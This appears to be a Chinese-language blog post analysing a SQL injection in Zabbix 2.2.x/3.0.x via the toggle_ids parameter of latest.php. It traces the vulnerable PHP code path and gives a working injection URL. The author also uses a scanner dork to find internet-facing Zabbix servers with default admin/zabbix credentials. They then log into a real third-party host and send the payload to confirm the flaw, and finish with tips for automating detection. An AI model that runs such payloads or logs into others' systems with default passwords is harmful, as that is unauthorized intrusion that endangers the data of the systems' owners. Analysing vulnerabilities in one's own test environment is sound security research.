概要

因為未能過濾掉latest.php頁面中toggle_ids陣列的輸入，導致Zabbix 2.2.x,3.0.x 遠端SQL注入

原始碼分析

下載了兩份官方程式碼對比，左為3.0.4(已修復的版本)，右為3.0.3

\zabbix-3.0.3rc1\frontends\php\jsrpc.php

可見新版本中刪除的程式碼即為漏洞觸發部分。

/*
 * Ajax
 */
if (hasRequest('favobj')) {
    if ($_REQUEST['favobj'] == 'toggle') {
        // $_REQUEST['toggle_ids'] can be single id or list of ids,
 

        // where id xxxx is application id and id 0_xxxx is 0_ + host id
        if (!is_array($_REQUEST['toggle_ids'])) {
            if ($_REQUEST['toggle_ids'][1] == '_') {
                $hostId = substr($_REQUEST['toggle_ids'], 2);
                CProfile::update('web.latest.toggle_other', $_REQUEST
 
['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
            }
            else {
                $applicationId = $_REQUEST['toggle_ids'];
                CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
            }
        }
        else {
            foreach
 
 ($_REQUEST['toggle_ids'] as $toggleId) {
                if ($toggleId[1] == '_') {
                    $hostId = substr($toggleId, 2);
                    CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
                }
                else {
                    $applicationId = $toggleId;
                    CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
                }
            }
        }
    }
}

$_REQUEST獲取的資料未經過濾，直接帶入CProfile::update() 暫存更新的資料。

zabbix-3.0.3rc1/frontends/php/include/classes/user/CProfile.php

    public static function update($idx, $value, $type, $idx2 = 0) {
        if (is_null(self::$profiles)) {
            self::init();
        }

        if (!self::checkValueType($value, $type)) {
            return;
        }

        $profile = [
            'idx' => $idx,
            'value' => $value,
            'type' => $type,
            'idx2' => $idx2
        ];

        $current = self::get($idx, null, $idx2);
        if (is_null($current)) {
            if (!isset(self::$insert[$idx])) {
                self::$insert[$idx] = [];
            }
            self::$insert[$idx][$idx2] = $profile;
        }
        else {
            if ($current != $value) {
                if (!isset(self::$update[$idx])) {
                    self::$update[$idx] = [];
                }
                self::$update[$idx][$idx2] = $profile;
            }
        }

        if (!isset(self::$profiles[$idx])) {
            self::$profiles[$idx] = [];
        }

        self::$profiles[$idx][$idx2] = $value;
    }

latest.php末尾包含page_footer.php(line 829)

require_once dirname(__FILE__).'/include/page_footer.php';

跟入page_footer.php(line 38)

if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

繼續跟入CProfile::flush()

    public static function flush() {
        $result = false;

        if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
            $result = true;

            foreach (self::$insert as $idx => $profile) {
                foreach ($profile as $idx2 => $data) {
                    $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
                }
            }

            ...
        }

        return $result;
    }

繼續跟入self::insertDB()

private static function insertDB($idx, $value, $type, $idx2) {
        $value_type = self::getFieldByType($type);

        $values = [
            'profileid' => get_dbid('profiles', 'profileid'),
            'userid' => self::$userDetails['userid'],
            'idx' => zbx_dbstr($idx),
            $value_type => zbx_dbstr($value),
            'type' => $type,
            'idx2' => $idx2
        ];

        return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
    }

跟入DBexecute()
php/include/db.inc.php (line 499)

function DBexecute($query, $skip_error_messages = 0) {
    global $DB;

    if (!isset($DB['DB']) || empty($DB['DB'])) {
        return false;
    }

    $result = false;
    $time_start = microtime(true);

    $DB['EXECUTE_COUNT']++;

    switch ($DB['TYPE']) {
        case ZBX_DB_MYSQL:
            if (!$result = mysqli_query($DB['DB'], $query)) {
                error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
            }
            break;

    ... ...

    }
    if ($DB['TRANSACTIONS'] != 0 && !$result) {
        $DB['TRANSACTION_NO_FAILED_SQLS'] = false;
    }

    CProfiler::getInstance()->profileSql(microtime(true) - $time_start, $query);
    return (bool) $result;
}

最終在mysqli_query()執行。

實踐

參考漏洞作者給出的Payload

latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

直接訪問latest.php 會返回一個You must login to view this page. 漏洞作者也指出登入後才可以(包括guest賬號)。

懶得搭環境了，zabbix預設口令為admin/zabbix，正好之前寫過這個PoC，先用它跑出幾臺機器試試。

python POC-T.py -m zabbix-weakpass -T --api --dork "zabbix country:cn" -t 30

結果還不少：

拿其中一個站，登入之後訪問：

http://58.xx.xx.xx:82//latest.php?output=ajax&sid=17892f8c4912dfcd&favobj=toggle&toggle_open_state=1&toggle_ids[]=1%^&*%22%27()-*#

這裡又報無許可權，看了下原始碼，將sid引數值設定為登入後sessionid的後16位。

再次提交，回顯看到MySQL的報錯，證明漏洞存在。

自動化驗證Tips

做自動化PoC的一個問題：不清楚用的什麼資料庫，難以獲得可信度大的回顯（如 md5(0x11)）

原始碼中顯示支援這些
* oracle
* mysql
* db2
* postgresql
* sqlite3

原始碼對於不同資料庫報錯格式有兩種，可用於PoC驗證的特徵欄位：

• error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
• error('SQL error ['.$query.'] in ['.$e.']');

目前可以用作檢驗標準的特徵欄位是：

• table class="msgerr"
• li class="error"
• Error in query [ or SQL error [

可以多實踐一些版本增加PoC的容錯性。